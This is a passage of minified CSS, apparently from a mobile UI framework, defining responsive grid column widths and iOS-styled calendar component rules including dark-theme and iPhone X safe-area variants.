.tablet-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .tablet-75{width:75%}.ios .row .tablet-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .tablet-70{width:70%}.ios .row .tablet-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .tablet-66{width:66.66666666666666%}.ios .row .tablet-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .tablet-65{width:65%}.ios .row .tablet-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .tablet-60{width:60%}.ios .row .tablet-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .tablet-55{width:55%}.ios .row .tablet-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-50{width:50%}.ios .row .tablet-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .tablet-45{width:45%}.ios .row .tablet-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .tablet-40{width:40%}.ios .row .tablet-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .tablet-35{width:35%}.ios .row .tablet-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-33{width:33.333333333333336%}.ios .row .tablet-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .tablet-30{width:30%}.ios .row .tablet-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-25{width:25%}.ios .row .tablet-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-20{width:20%}.ios .row .tablet-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .tablet-15{width:15%}.ios .row .tablet-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-10{width:10%}.ios .row .tablet-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-5{width:5%}.ios .row .tablet-auto:nth-last-child(1),.ios .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-auto:nth-last-child(1),.ios .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.ios .row .tablet-auto:nth-last-child(2),.ios .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-auto:nth-last-child(2),.ios .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.ios .row .tablet-auto:nth-last-child(3),.ios .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-auto:nth-last-child(3),.ios .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.ios .row .tablet-auto:nth-last-child(4),.ios .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-auto:nth-last-child(4),.ios .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.ios .row .tablet-auto:nth-last-child(5),.ios .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-auto:nth-last-child(5),.ios .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.ios .row .tablet-auto:nth-last-child(6),.ios .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .tablet-auto:nth-last-child(6),.ios .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.ios .row .tablet-auto:nth-last-child(7),.ios .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .tablet-auto:nth-last-child(7),.ios .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.ios .row .tablet-auto:nth-last-child(8),.ios .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .tablet-auto:nth-last-child(8),.ios .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.ios .row .tablet-auto:nth-last-child(9),.ios .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .tablet-auto:nth-last-child(9),.ios .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.ios .row .tablet-auto:nth-last-child(10),.ios .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-auto:nth-last-child(10),.ios .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.ios .row .tablet-auto:nth-last-child(11),.ios .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .tablet-auto:nth-last-child(11),.ios .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.ios .row .tablet-auto:nth-last-child(12),.ios .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .tablet-auto:nth-last-child(12),.ios .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.ios .row .tablet-auto:nth-last-child(13),.ios .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .tablet-auto:nth-last-child(13),.ios .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.ios .row .tablet-auto:nth-last-child(14),.ios .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .tablet-auto:nth-last-child(14),.ios .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.ios .row .tablet-auto:nth-last-child(15),.ios .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .tablet-auto:nth-last-child(15),.ios .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.ios .row .tablet-auto:nth-last-child(16),.ios .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .tablet-auto:nth-last-child(16),.ios .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.ios .row .tablet-auto:nth-last-child(17),.ios .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .tablet-auto:nth-last-child(17),.ios .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.ios .row .tablet-auto:nth-last-child(18),.ios .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .tablet-auto:nth-last-child(18),.ios .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.ios .row .tablet-auto:nth-last-child(19),.ios .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .tablet-auto:nth-last-child(19),.ios .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.ios .row .tablet-auto:nth-last-child(20),.ios .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-auto:nth-last-child(20),.ios .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.ios .row .tablet-auto:nth-last-child(21),.ios .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .tablet-auto:nth-last-child(21),.ios .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.ios .row .desktop-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-100{width:100%}.ios .row .desktop-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .desktop-95{width:95%}.ios .row .desktop-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .desktop-90{width:90%}.ios .row .desktop-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .desktop-85{width:85%}.ios .row .desktop-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .desktop-80{width:80%}.ios .row .desktop-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .desktop-75{width:75%}.ios .row .desktop-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .desktop-70{width:70%}.ios .row .desktop-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .desktop-66{width:66.66666666666666%}.ios .row .desktop-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .desktop-65{width:65%}.ios .row .desktop-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .desktop-60{width:60%}.ios .row .desktop-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .desktop-55{width:55%}.ios .row .desktop-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-50{width:50%}.ios .row .desktop-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .desktop-45{width:45%}.ios .row .desktop-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .desktop-40{width:40%}.ios .row .desktop-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .desktop-35{width:35%}.ios .row .desktop-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-33{width:33.333333333333336%}.ios .row .desktop-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .desktop-30{width:30%}.ios .row .desktop-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-25{width:25%}.ios .row .desktop-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-20{width:20%}.ios .row .desktop-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .desktop-15{width:15%}.ios .row .desktop-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-10{width:10%}.ios .row .desktop-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-5{width:5%}.ios .row .desktop-auto:nth-last-child(1),.ios .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-auto:nth-last-child(1),.ios .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.ios .row .desktop-auto:nth-last-child(2),.ios .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-auto:nth-last-child(2),.ios .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.ios .row .desktop-auto:nth-last-child(3),.ios .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-auto:nth-last-child(3),.ios .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.ios .row .desktop-auto:nth-last-child(4),.ios .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-auto:nth-last-child(4),.ios .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.ios .row .desktop-auto:nth-last-child(5),.ios .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-auto:nth-last-child(5),.ios .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.ios .row .desktop-auto:nth-last-child(6),.ios .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .desktop-auto:nth-last-child(6),.ios .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.ios .row .desktop-auto:nth-last-child(7),.ios .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .desktop-auto:nth-last-child(7),.ios .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.ios .row .desktop-auto:nth-last-child(8),.ios .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .desktop-auto:nth-last-child(8),.ios .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.ios .row .desktop-auto:nth-last-child(9),.ios .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .desktop-auto:nth-last-child(9),.ios .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.ios .row .desktop-auto:nth-last-child(10),.ios .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-auto:nth-last-child(10),.ios .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.ios .row .desktop-auto:nth-last-child(11),.ios .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .desktop-auto:nth-last-child(11),.ios .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.ios .row .desktop-auto:nth-last-child(12),.ios .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .desktop-auto:nth-last-child(12),.ios .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.ios .row .desktop-auto:nth-last-child(13),.ios .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .desktop-auto:nth-last-child(13),.ios .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.ios .row .desktop-auto:nth-last-child(14),.ios .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .desktop-auto:nth-last-child(14),.ios .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.ios .row .desktop-auto:nth-last-child(15),.ios .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .desktop-auto:nth-last-child(15),.ios .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.ios .row .desktop-auto:nth-last-child(16),.ios .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .desktop-auto:nth-last-child(16),.ios .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.ios .row .desktop-auto:nth-last-child(17),.ios .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .desktop-auto:nth-last-child(17),.ios .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.ios .row .desktop-auto:nth-last-child(18),.ios .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .desktop-auto:nth-last-child(18),.ios .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.ios .row .desktop-auto:nth-last-child(19),.ios .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .desktop-auto:nth-last-child(19),.ios .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.ios .row .desktop-auto:nth-last-child(20),.ios .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-auto:nth-last-child(20),.ios .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.ios .row .desktop-auto:nth-last-child(21),.ios .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .desktop-auto:nth-last-child(21),.ios .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.calendar{overflow:hidden;height:320px;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.calendar.modal-in{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}@media (orientation:landscape) and (max-height:415px){.calendar.calendar-sheet{height:220px}.calendar.calendar-modal{height:calc(100vh - 44px)}}.calendar.calendar-inline,.calendar.calendar-popover .calendar{position:relative}.calendar-modal{position:absolute;height:420px;overflow:hidden;top:50%;left:50%;min-width:300px;max-width:380px;-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0);-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:12000;background:#fff;width:90%;border-radius:4px;-webkit-box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22);box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}.calendar-modal.modal-in,.calendar-modal.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.calendar-modal.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.calendar-modal.modal-out{-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0)}.calendar-popover{width:320px}.calendar-popover .calendar{height:320px}.calendar-week-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:11px}.calendar-week-header .calendar-week-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:14.28571429%;width:calc(100% / 7);text-align:center}.calendar-months{width:100%;height:100%;overflow:hidden;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-months-wrapper{position:relative;width:100%;height:100%;-webkit-transition:.3s;transition:.3s}.calendar-month{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%;position:absolute;left:0;top:0}.calendar-row{height:16.66666667%;height:calc(100% / 6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.ios .calendar-header{height:44px;background:#f7f7f8;font-size:17px;line-height:44px;font-weight:600;padding:0 8px;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.ios .calendar-footer{position:relative;padding:0 8px;width:100%;height:44px;background:#f7f7f8;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:17px}.ios .calendar-footer:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-week-header{background:#f7f7f8;height:18px}.ios .calendar-week-header .calendar-week-day{line-height:18px}.ios .calendar-row:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-row:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-row:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-day{font-size:15px}.ios .calendar-day.calendar-day-today span{background:#e3e3e3}.ios .calendar-day.calendar-day-has-events span:after{background:#007aff}.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.ios .calendar-day.calendar-day-selected span{background:#007aff}.ios .calendar-day span{width:30px;height:30px;line-height:30px}.ios .calendar-month-selector a.icon-only,.ios .calendar-year-selector a.icon-only{min-width:36px}.ios .calendar-sheet:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-sheet{background:#fff}.ios .calendar-sheet:before{z-index:600}.ios .calendar-sheet .toolbar:before{display:none!important}.ios .calendar-modal .toolbar:before,.ios .calendar-popover .toolbar:before{display:none!important}.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before,.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before{display:none!important}.ios .calendar-popover .toolbar{background:0 0}.ios .calendar-popover .calendar-footer,.ios .calendar-popover .calendar-header,.ios .calendar-popover .calendar-week-header{background:0 0}.ios.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-left-edge.calendar .calendar-row,.ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .panel-left.calendar .calendar-row,.ios.device-iphone-x .panel-left.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-right-edge.calendar .calendar-row,.ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .panel-right.calendar .calendar-row,.ios.device-iphone-x .panel-right.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.calendar.ios .theme-dark .calendar-footer,.calendar.ios .theme-dark .calendar-header,.calendar.ios .theme-dark .calendar-week-header,.ios .theme-dark .calendar .calendar-footer,.ios .theme-dark .calendar .calendar-header,.ios .theme-dark .calendar .calendar-week-header{background-color:#1b1b1b}.ios .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.ios .theme-dark .calendar-footer:before,.ios .theme-dark .calendar-row:before,.ios .theme-dark .calendar-sheet:before{background-color:#282829}.ios .theme-dark .calendar-day{color:#fff}.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span{background:#333}.ios .theme-dark .calendar-day.calendar-day-disabled{color:#8e8e93}.ios .theme-dark .calendar-day.calendar-day-next,.ios .theme-dark .calendar-day.calendar-day-prev{color:#555}.calendar-modal.ios .theme-dark,.ios .theme-dark .calendar-modal,.ios .theme-dark .calendar-sheet{background:#171717}.ios .color-red .calendar-day.calendar-day-selected span,.ios .color-theme-red 